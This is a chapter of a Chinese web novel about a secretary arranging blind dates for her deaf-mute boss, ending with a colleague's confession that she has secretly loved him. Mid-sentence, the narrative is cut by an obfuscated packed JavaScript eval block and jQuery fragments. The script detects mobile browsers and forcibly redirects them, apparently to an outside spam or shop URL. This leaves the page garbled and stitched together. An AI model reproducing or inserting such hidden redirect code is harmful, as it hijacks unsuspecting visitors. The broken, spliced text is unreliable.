134.相亲
作品:《反派?那也得冲业绩!》 我要相亲。
星乙在办公桌上提出这个主意的时候几乎一半的人喷了咖啡,剩下一半颤颤巍巍捧着咖啡杯,赛江专心致志的看着任务报告模版不问世事,莫求仙不动声色的看过来,星乙最得力的秘书暮艾则是“咔嚓”一下撕烂了打印费昂贵的文件:“哈?”
但这个办公室的人都知道,星乙从不会在工作的时候开玩笑,尤其是他现在整张脸都充斥着认真的时候。
“您……相亲?”暮艾笑容僵硬:“您想找什么样的?”
一时间整个办公室的眼睛都凑了上来,星乙一边想一边在纸上写:喜欢小孩就行。
星乙喜欢小孩,人尽皆知。
莫求仙凑上来:“财产条件?”
星乙:我有的是钱。
“我不听了!”莫求仙老老实实回去做任务去了,转头趴在赛江身边蔫蔫的欲哭无泪,感慨自己是牛马。
“性格方面?”
星乙:都可以,有什么不合适的地方我可以改。
“我不听了!”一个女同事怒气冲冲的回到工位上坐好,打算今晚回家要再和自己家那个每次有问题就怪她脾气大不讲理要她自我反省的对象好好吵一架。
“家庭条件?”
星乙:还能有比我家庭条件更差的吗?
这确实是,还能有比无父无母家庭条件更差的吗?再说对于星乙这种工作极其体面,工资极高、财产多、可以拿房产证打扑克的年轻人来说,无父无母无兄弟姐妹没准儿还是个加分项。在场所有人认可了。
“外貌条件呢?”
星乙:没要求,我是聋哑人,还要求另一半什么。
“那没问题!就您这条件您这要求,我肯定找……”
星乙抓住了她胳膊:我会在和这个人结婚之前领养一个孩子。
“……”
您不会是有私生子了吧……
暮艾心里跑过一千匹马,看着星乙秀气清纯到漂亮的脸,吞了吞口水,实在想象不到星乙私生子会是什么样。想了半天,最后郑重的点了点头:“瞧我的吧,包把您嫁出去…不是,包给您找到满意的。”
星乙:谢谢。
暮艾脸笑的有点碎了:“好的好的,但……”
星乙扫过在场所有员工:算你们绩效考核里,办成了我给大家涨工资,再加三年双休。
整个办公室像被扔进了炸药包,欢呼混着口哨声震得天花板掉灰,灰尘掉在暮艾假睫毛上,欲哭无泪,面对同事们千叮咛万嘱托的艰巨任务,心说要不我嫁给你吧长官。
但她没有,暮艾信奉真爱降临主义,是不会轻易对自家老大起非分之想的。
聪明如五好秘书,她想到了请场外援助。
于是三天后,星乙请了整整一天假,去面见暮艾千挑万选出来结婚对象。
一号嘉宾,女,家里有一个母亲和妹妹,是个靠唱歌赚钱,是个活力四射的姑娘。
虽然自己没说,但看样子暮艾还是费尽心思,想尽量给他找个志同道合的对象。因为自己喜欢音乐,所以找了个歌手,认为这样他们会更有共同话题吗?
星乙的玻璃吸管搅动着气泡水。
两人谈了半小时,准确来说是星乙听着她说了半个小时。然后两人不欢而散,准确来说是星乙被晾下,那姑娘毫无留恋的走了。
“为什么啊!”
收到罗新情报的暮艾在办公室咬牙切齿,“他俩不都喜欢音乐吗?这可是我最看好的一双,你不是也很看好灵魂伴侣吗!”
罗新隔着传音法术阵嘲笑:“那姑娘是个唱歌的,你让一个不会手语的歌手去和一个哑巴面对面唱歌吗?”
“我们老大呢?星乙不喜欢吗?”
罗新笑的更大声了:“星乙肯定不喜欢啊,他是想找一个结婚对象,那姑娘明显只是想找一个谈着玩玩的男朋友啊,目的不一样,怎么在一起?”
“好吧……”
暮艾放弃了灵魂伴侣,但不会放弃升职加薪放双休的!
于是三天后,星乙又请了整整一天假,去面见暮艾呕心沥血为他找到的真命天子。
二号嘉宾,男,家里只有父母两个人,是个律师,年纪看起来比星乙大不少的好好先生。
虽然自己没说,但暮艾还是费尽心思想给自己找一个会照顾人的对象,因为自己工作起来不要命,所以暮艾找了一个很懂生活的人,以为对方会更体贴吗?星乙轻轻摇晃茶杯。
两人谈了半小时,准确的说是男人和星乙说了半小时,然后两人不欢而散,准确来说是星乙拎包走人,临走还给服务员甩了厚厚一叠小费。
“为什么啊!”接到乐茴消息的暮艾心里滴血,“他不是说很会照顾人享受生活吗,这可是我最看好的一双,您不是说对象就要找性格互补的吗!”
乐茴隔着传音法术阵淡淡的:“那个男人要求星乙辞掉工作在家安心照顾孩子,还要求星乙帮忙照顾他的父母。”
“什么?他才赚几个子儿啊,敢让云宫副官辞职,别说星乙了,他一年赚的钱有我一个礼拜多吗?!”
乐茴声音低低的,“那个男人觉得,天王副官在家帮他照顾父母会让他有种安心感,或者说征服感。”少女说到这没忍住轻轻笑了:“家里没有镜子,总该有……”后半句淑女没说。
“天啊。”
暮艾又笑又气,她就不信了,她自问工作能力强大仅次于星乙怎么可能连个合适的相亲对象都搞不定。
于是三王后,星乙再一次请了一整天的假,去面见暮艾顶着黑眼圈帮他筛出的天作之合。
三号嘉宾,女,父母双亡家徒四壁,是个心地坚强,温柔可爱的花季少女。
虽然自己没说,但暮艾还是费尽心思想给自己找一个有意思的对象,因为这次她居然还专门为他们安排了个“你被当街抢劫,我英雄救美”的戏码来给她们制造所谓的天作之合感,属实是煞费苦心。星乙喝了一口果汁。
两人谈了半小时,准确的说是少女和星乙说了半小时,然后两人相互告别,这回两人都没有不高兴,很开心的就从餐厅走出来了。
“yes!”接到乐摹消息的暮艾兴奋的在办公室开怀大笑,“不愧是身经百战啊乐摹长官!简直妙计,我就说最快爱上的方式是创造宿命感吧!”
乐摹隔着传音法术阵很无奈:“但他们只是单纯吃了个饭而已,甚至连联系方式和住址都没交换,应该没有成功。”
“为什么啊!我专门找的和星乙家境相似甚至脾气也差不多的啊,一个和自己这么像的人,怎么可能会不动心呢?而且不是完美的结束约会了吗?”
乐摹有点不好意思:“我觉得吧……星乙应该是看在我的面子上才把这场约会进行完了。虽然这么说很自恋,但我感觉出来了。”
“……我服了。”
暮艾感觉被耍了,但星乙还真干得出这种事,而且一想到星乙从一开始就知道自己和罗新、乐茴暗通曲款,监视着他的约会却没有点破她就很心痛。
最后一次,这次她要找一个真正了解星乙的人,一个靠谱的人。
于是三王后,暮艾请了整整一天假,却没有坐电梯下楼,而是一路走上了最顶层,敲开了右天王办公室的大门。
尤渚正拿扑克牌搭模型,不认识她,也不理她。
“请您告诉我星乙副官的理想型吧!”
尤渚手一抖,整个扑克牌塔灰飞烟灭,取而代之的是一张美丽的带着探索欲和惊奇的脸:“你……”
尤渚手指在空中画了一个爱心,又画了一个五角星,“嗯?”
“没有没有!真没有!”
暮艾大着舌头把来龙去脉交代了一通,最后看着尤渚已经完全失去兴趣的脸,急的想哭,毕竟整个17楼的幸福都在她手里握着呢。
“与其去撮合两个陌生人,你不如直接找一个喜欢星乙的人去追求星乙啊。”尤渚提供了一种全新的思路:“毕竟星乙是那种死缠烂打就能追到的类型,而且他给你提出的条件也很宽松。”
“可……谁……”暮艾不解。
“看来你们不知道啊。”尤渚手指夹着两张扑克牌,漫不经心:“星乙刚工作的那一阵子,邮箱里经常被塞告白信,每周一两封,而且看字迹还是同一个人写的,只不过星乙当时刚上任什么事情都手忙脚乱的,没工夫管。”
暮艾大喜过望:“您是说让我找到那个人是吗!”
尤渚:“嗯嗯嗯。”
暮艾被请出了天王办公室,浑身处于一种劫后余生的状态,但很快她就又开始发愁,要如何找到当年的那些信呢和寄信的人呢?
而且已经过了这么久了,可能人家已经不喜欢星乙了呢。
谁的爱会经得起这么多年没有回音的蹉跎呢?
但是,没准儿呢?
五分钟后,暮艾踩着高跟鞋蹬蹬蹬跑去了风琴塔后背的邮件存放处,她扔下星乙秘书的名片,成功被人带去了存放星乙收到的信件的柜子。
工作人员给她开了锁,走进去第一眼她就被震慑住了。
好多的信。
层层叠叠,简直像墙一样。暮艾手指拂过最底层那格,信封已经泛黄发脆,指尖能摸到信纸在里面微微凸起的弧度,信封上贴着素净的邮票,在暮艾心里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190826|194639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形成了一个鲜明的形象。
从星乙上任开始,一直写到现在吗?
这些信件丛正规渠道邮寄过来,只要稍稍调查就能找出源头,一旦公之于众,整个云宫都会知道这个人喜欢星乙喜欢的发狂,写出来的信堆起来委实奇观。
暮艾有千言万语,最后浓缩为一句话:“能找到这些信都是从那里寄来的吗?”
没过片刻,暮艾看着结果呈现出的那个人,瞪大了眼。
怎么会是…她?
鹿露?!
雷司命除兰可以外的另一位副官——鹿露。
暮艾找上戒律殿得时候,鹿露和戒律殿八成的人都跟着余琼外出并不在办公室,但兰可在。不仅兰可在,罗新、乐茴、乐摹都在,就像一个背着星乙召开的小团体聚会,而几个人围坐在一张桌子上讨论的问题也不意外——
星乙要结婚。
暮艾看着他们东说西说,心道我可能知道新娘是谁了,但她不敢说。
“你站在那干嘛?”罗新朝她招招手:“过来说说,有进展吗?”
暮艾心想早知道晚知道反正这些长官肯定得知道,于是按耐不住坐了过去,面对四个人各不相同的眼神,暮艾忽然有种自己就是星乙的错觉。“我有一个合适人选。”
乐摹笑笑:“你都挑了三个人选了。”
“这个不一样……”
罗新眨了下左眼,眨的暮艾一身鸡皮疙瘩,“怎么不一样?”
“这个人,暗恋星乙。”
“哎呦!”罗新整个人机灵起来,表情如狼似虎:“谁啊,能看上星乙?”
“而且,暗恋了很多年。”暮艾继续说,说的连一向困倦的乐茴都抬起了头,兰可眼底夜闪着细细的光,暮思汗颜:“她给星乙写了很多信,但星乙很少用邮箱他不知道,但这人得不到回信就一直写一直写,一直到现在都还在写,我是真的想不出来到底是什么支撑着他喜欢着一个没有回音的人。”
乐茴:“……”
罗新:“……啧。”
乐摹:“这就是爱情吧,我初恋也是暗恋了我很久才和我……”
“所以你现在是想直接把这个人带到星乙面前。”兰可打断乐摹的恋爱心经,直切要害:“这个人能找到吗?”
“呃……我已经找到了。”
兰可:“!”
罗新:“谁?”
乐摹:“说呀,别停。”
乐茴扫视四周:“是不在场的戒律殿的人?”
其余三人纷纷转头看着她,乐茴平静的帮他们分析:“暮艾既然知道这个人是谁,一定会马上去找,现在她站在戒律殿里,明显是到戒律殿来找人的呀。还和我们闲聊这么久,一点都不怕当事人听见,显然她要找的人不在场啊。”
兰可没工夫和她绕弯子:“快说,是谁?”
不太好吧。暮艾有口难开但都说到这份上了:“是……”
电梯“叮”一声抵达,暮艾心虚的转头,木质机械门向两侧滑开的瞬间,穿堂风裹着些微浓的香水味涌了出来。
她就站在那道光影交界里,及腰的黑发垂得笔直,发梢几乎要扫到洗得发白的牛仔短裤边。右手自然垂着,左手空荡荡的袖口在风里轻轻晃了一下,像片被遗忘的叶子。
大概是刚从外面回来,女人穿着便装,帆布鞋上沾着点泥,裤脚卷到膝盖,露出的小腿线条干净利落。
她身后站着余琼和十几个同事。
暮艾还是第一次离这个断臂少女这么近,加上心里有鬼,更是仔细的观察了起来。
她抬眼时睫毛很长,电梯门合上的瞬间,镜面映出她的侧影,黑长直的发丝垂在脸颊旁,遮住了半张脸,只露出线条清晰的下颌。
空气里只剩下电梯运行的低鸣,她始终没动,像幅被框在金属盒子里的素描,留白处反而更让人挪不开眼。
如果说兰可是雷厉风行的类型,那鹿露就是风过湖面水不动的类型,暮艾给他们让开路。
鹿露看了一眼桌面上的信封,明白了大概。
“是我。”
“什么是你?”余琼低头翻着文件,随口问。
“我喜欢星乙。”鹿露平静的说:“我暗恋他,从他入职后没几天我就喜欢上他了,他不知道。那些信也都是我写的。”
余琼翻纸页的手停住了,罗新咬住嘴唇别过脸,乐摹尴尬的笑,兰可困惑的皱起眉头,乐茴在一阵寂静中左看看右看看举起了手:“我有问题。”
她问:“你是怎么知道自己喜欢他的?”
鹿露顿了顿,斟酌了一下。
“因为我想吻他。”

